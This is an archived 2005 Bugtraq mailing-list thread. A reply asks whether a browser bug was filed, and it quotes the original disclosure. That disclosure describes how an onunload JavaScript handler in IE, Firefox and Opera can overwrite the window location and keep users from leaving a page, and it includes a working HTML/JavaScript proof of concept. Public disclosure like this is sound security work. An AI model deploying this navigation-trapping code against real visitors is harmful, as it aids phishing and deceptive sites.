bugtraq - RE: unload event in ie/mozilla/opera

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <9822767C46B4124EA87DE43749C4E98801A93241@exgna2.corp.kaz.com>
Date: Thu, 25 Aug 2005 10:44:04 -0400
From: "Early, Clint" <clint.early@....com>
To: <bugtraq@...urityfocus.com>
Subject: RE: unload event in ie/mozilla/opera


Has this been reported in bugzilla?  I can't find it anywhere....

Cheers,
Clint


> -----Original Message-----
> From: Tobias Boonstoppel [mailto:boonstoppel@...il.com]
> Sent: Tuesday, August 23, 2005 7:10 AM
> To: bugtraq@...urityfocus.com
> Subject: unload event in ie/mozilla/opera
> 
> 
> in nearly all browsers* you can overwrite the window location in the 
> "onunload" event.
> 
> that means you can "keep" the user on a site. when you type a new url 
> in the address-bar, javascript overwrites it. thats a paradies for 
> fishers, porn-site-hoster etc......
> 
> here the html/javascript code:
> 
> <html>
> <head>
> <script>
> window.unlock = false;
> window.onunload=function()
> {
> if(!window.unlock)
>  window.location.href='unload.html';
> }
> document.onmousedown=function()
> {
>   window.unlock = true;
> }
> </script>
> </head>
> <body>
> <a href="?link=1">Link 1</a><br>
> <a href="?link=2">Link 2</a><br>
> <a href="?link=3">Link 3</a><br>
> <a href="?link=4">Link 4</a><br>
> </body>
> </html>
> 
> 
> cheers
> Tobias Boonstoppel
> 
> 
> ps: * i testet it on firefox (linux / window) opera (linux) and 
> internet explorer.
>